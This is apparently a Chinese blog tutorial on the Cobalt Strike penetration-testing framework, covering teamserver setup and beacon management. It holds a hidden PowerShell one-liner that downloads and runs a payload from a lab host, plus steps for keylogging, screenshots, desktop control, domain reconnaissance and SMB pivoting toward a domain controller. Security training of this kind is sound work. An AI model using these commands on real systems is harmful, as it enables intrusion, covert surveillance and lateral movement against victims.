Cobalt Strike
前提条件,获得⼀台主机的Shell。
Cobalt Strike 是⼀款⾮常成熟的渗透测试框架。Cobalt Strike 在3.0 版本之前是基于Metasploit 框架⼯ 作的,可以使⽤Metasploit 漏洞库。从3.0 版本开始,Cobalt Strike 不再使⽤Metasploit 的漏洞库,称 为独⽴的渗透测试平台。
Cobalt Strike 是⽤java 语⾔编写的。其优点在于,可以进⾏团队协作,以搭载了Cobalt Strike 的 TeamServer 服务的服务器为中转站,使⽬标系统权限反弹到该TeamServer 服务器上。同时,Cobalt Strike 提供了良好的UI 界⾯。
Cobalt Strike 是⼀款商业软件,读者可以访问其官⽅⽹站,申请21 天测试版序列号。
01 部署和安装
Java 环境
java -version
启动团队服务器
sudo ./teamserver 192.168.232.130 123456
启动客户端
./cobaltstrike
./start.sh
# 输⼊服务器地址、端⼝、⽤户名和密码
192.168.232.130 50050 123456

2 获取第⼀个beacon
⽣成监听器
⽣成Web Delivery
⽣成⽊⻢,⽂件或者命令
Attacks|Web Drive-by|ScriptedWeb Delivery

“上线命令”
在目标主机c:\输入生成的木马
powershell 是Windows 系统⾃带组件
# ⽆需上传⽂件到⽬标服务器磁盘
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.232.130:80/a'))"
上线成功

3 常⽤基本命令
基本beacon 管理
interact 进⼊命令⾏模式
Note 标注
Exit 退出
Remove 移除
sleep 响应时间
获取当前⽤户权限
beacon> getuid

⽂件管理
建议⼤家在图形化界⾯操作
beacon|右键|Explore|File Browser

进程管理
建议在图形化界⾯操作
beacon|右键|Explore|Process List

屏幕截屏
#截屏
beacon|右键|Explore|Screenshots
#查看截屏
View|Screenshots
桌⾯控制
beacon> desktop
键盘记录
#键盘记录
beacon|右键|Explore|Process List|Log Keystrokes
#查看键盘记录
View Keystrokes
4 内⽹信息收集
端⼝扫描
beacon|右键|Explore|Port Scan
域内信息收集
net view
net computers
net dclist 列出域内的域控制器(Domain Controller,DC)
net domain_trusts
net group net localgroup net logons 查看已经登录账户
net sessions
net share
net user
net time 查看时间
5 主机账户信息收集
06 渗透内⽹DC
建⽴SMB 隧道
建⽴smb 监听器

Vpsexe
View-Targets




1764

被折叠的 条评论
为什么被折叠?



